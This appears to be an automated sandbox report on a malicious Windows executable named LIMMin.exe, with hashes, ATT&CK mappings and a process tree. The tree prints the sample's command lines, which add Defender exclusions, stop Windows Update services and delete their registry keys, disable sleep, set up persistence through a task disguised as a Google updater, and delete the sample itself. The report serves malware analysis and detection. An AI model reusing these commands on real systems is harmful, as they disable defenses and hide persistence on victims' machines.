d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
27s
max time network
32s
platform
windows7_x64
resource
win7-20230621-en
resource tags

arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
submitted
30-06-2023 12:25

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General

Target

LIMMin.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

LIMMin.exe

description	pid	Process	procid_target
PID 1628 created 1260	1628	LIMMin.exe	10
PID 1628 created 1260	1628	LIMMin.exe	10
PID 1628 created 1260	1628	LIMMin.exe	10
PID 1628 created 1260	1628	LIMMin.exe	10
PID 1628 created 1260	1628	LIMMin.exe	10

Drops file in Drivers directory 1 IoCs

Processes:

LIMMin.exe

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMin.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
536	cmd.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid	Process
2032	sc.exe
2036	sc.exe
1360	sc.exe
1920	sc.exe
1600	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exe

pid	Process
1040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

LIMMin.exepowershell.exepowershell.exe

pid	Process
1628	LIMMin.exe
1628	LIMMin.exe
1996	powershell.exe
1628	LIMMin.exe
1628	LIMMin.exe
1628	LIMMin.exe
1628	LIMMin.exe
1628	LIMMin.exe
1628	LIMMin.exe
584	powershell.exe
1628	LIMMin.exe
1628	LIMMin.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeShutdownPrivilege	976	powercfg.exe
Token: SeShutdownPrivilege	600	powercfg.exe
Token: SeDebugPrivilege	584	powershell.exe
Token: SeShutdownPrivilege	1576	powercfg.exe
Token: SeShutdownPrivilege	1808	powercfg.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

cmd.execmd.exepowershell.execmd.exe

description	pid	Process	procid_target
PID 292 wrote to memory of 976	292	cmd.exe	36
PID 292 wrote to memory of 976	292	cmd.exe	36
PID 292 wrote to memory of 976	292	cmd.exe	36
PID 1108 wrote to memory of 2032	1108	cmd.exe	37
PID 1108 wrote to memory of 2032	1108	cmd.exe	37
PID 1108 wrote to memory of 2032	1108	cmd.exe	37
PID 1108 wrote to memory of 2036	1108	cmd.exe	38
PID 1108 wrote to memory of 2036	1108	cmd.exe	38
PID 1108 wrote to memory of 2036	1108	cmd.exe	38
PID 1108 wrote to memory of 1360	1108	cmd.exe	39
PID 1108 wrote to memory of 1360	1108	cmd.exe	39
PID 1108 wrote to memory of 1360	1108	cmd.exe	39
PID 292 wrote to memory of 600	292	cmd.exe	40
PID 292 wrote to memory of 600	292	cmd.exe	40
PID 292 wrote to memory of 600	292	cmd.exe	40
PID 1108 wrote to memory of 1920	1108	cmd.exe	41
PID 1108 wrote to memory of 1920	1108	cmd.exe	41
PID 1108 wrote to memory of 1920	1108	cmd.exe	41
PID 292 wrote to memory of 1576	292	cmd.exe	42
PID 292 wrote to memory of 1576	292	cmd.exe	42
PID 292 wrote to memory of 1576	292	cmd.exe	42
PID 292 wrote to memory of 1808	292	cmd.exe	43
PID 292 wrote to memory of 1808	292	cmd.exe	43
PID 292 wrote to memory of 1808	292	cmd.exe	43
PID 1108 wrote to memory of 1600	1108	cmd.exe	44
PID 1108 wrote to memory of 1600	1108	cmd.exe	44
PID 1108 wrote to memory of 1600	1108	cmd.exe	44
PID 1108 wrote to memory of 1044	1108	cmd.exe	45
PID 1108 wrote to memory of 1044	1108	cmd.exe	45
PID 1108 wrote to memory of 1044	1108	cmd.exe	45
PID 1108 wrote to memory of 1384	1108	cmd.exe	46
PID 1108 wrote to memory of 1384	1108	cmd.exe	46
PID 1108 wrote to memory of 1384	1108	cmd.exe	46
PID 1108 wrote to memory of 1132	1108	cmd.exe	47
PID 1108 wrote to memory of 1132	1108	cmd.exe	47
PID 1108 wrote to memory of 1132	1108	cmd.exe	47
PID 1108 wrote to memory of 748	1108	cmd.exe	48
PID 1108 wrote to memory of 748	1108	cmd.exe	48
PID 1108 wrote to memory of 748	1108	cmd.exe	48
PID 1108 wrote to memory of 1408	1108	cmd.exe	49
PID 1108 wrote to memory of 1408	1108	cmd.exe	49
PID 1108 wrote to memory of 1408	1108	cmd.exe	49
PID 584 wrote to memory of 1040	584	powershell.exe	50
PID 584 wrote to memory of 1040	584	powershell.exe	50
PID 584 wrote to memory of 1040	584	powershell.exe	50
PID 536 wrote to memory of 1300	536	cmd.exe	53
PID 536 wrote to memory of 1300	536	cmd.exe	53
PID 536 wrote to memory of 1300	536	cmd.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260
- C:\Users\Admin\AppData\Local\Temp\LIMMin.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2032
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2036
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1360
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1920
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1600
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1044
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1384
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1132
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:748
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1408
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:292
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:976
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:600
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'
    3⤵
    - Creates scheduled task(s)
    PID:1040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9750868caa9581527f4c4e1c502ccfe4

SHA1
72bbafc35574a64df5d343ecc6bc87852c26c6dc

SHA256
97a403ea107694c4df71514f7544fabb22dc9dafd886ca163ed85ed465585978

SHA512
5bb3b6aedf32f159a4e35fc4857123bc5d31f7b74cb73869d8b14817f62fb0d3fa9dc5e0f3a847314ac796e93d133e1cc803e0620e2edafffd9891a789ac7fd8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XP9D0T74BA4VG220DQ8E.temp

Filesize
7KB

MD5
9750868caa9581527f4c4e1c502ccfe4

SHA1
72bbafc35574a64df5d343ecc6bc87852c26c6dc

SHA256
97a403ea107694c4df71514f7544fabb22dc9dafd886ca163ed85ed465585978

SHA512
5bb3b6aedf32f159a4e35fc4857123bc5d31f7b74cb73869d8b14817f62fb0d3fa9dc5e0f3a847314ac796e93d133e1cc803e0620e2edafffd9891a789ac7fd8

Download Submit
memory/584-71-0x0000000001C90000-0x0000000001C98000-memory.dmp

Filesize
32KB

Download
memory/584-70-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

Filesize
2.9MB

Download
memory/584-72-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/584-73-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/584-74-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/584-75-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1628-77-0x000000013F380000-0x000000013F71A000-memory.dmp

Filesize
3.6MB

Download
memory/1996-62-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1996-59-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1996-63-0x000000000248B000-0x00000000024C2000-memory.dmp

Filesize
220KB

Download
memory/1996-61-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1996-60-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1996-58-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download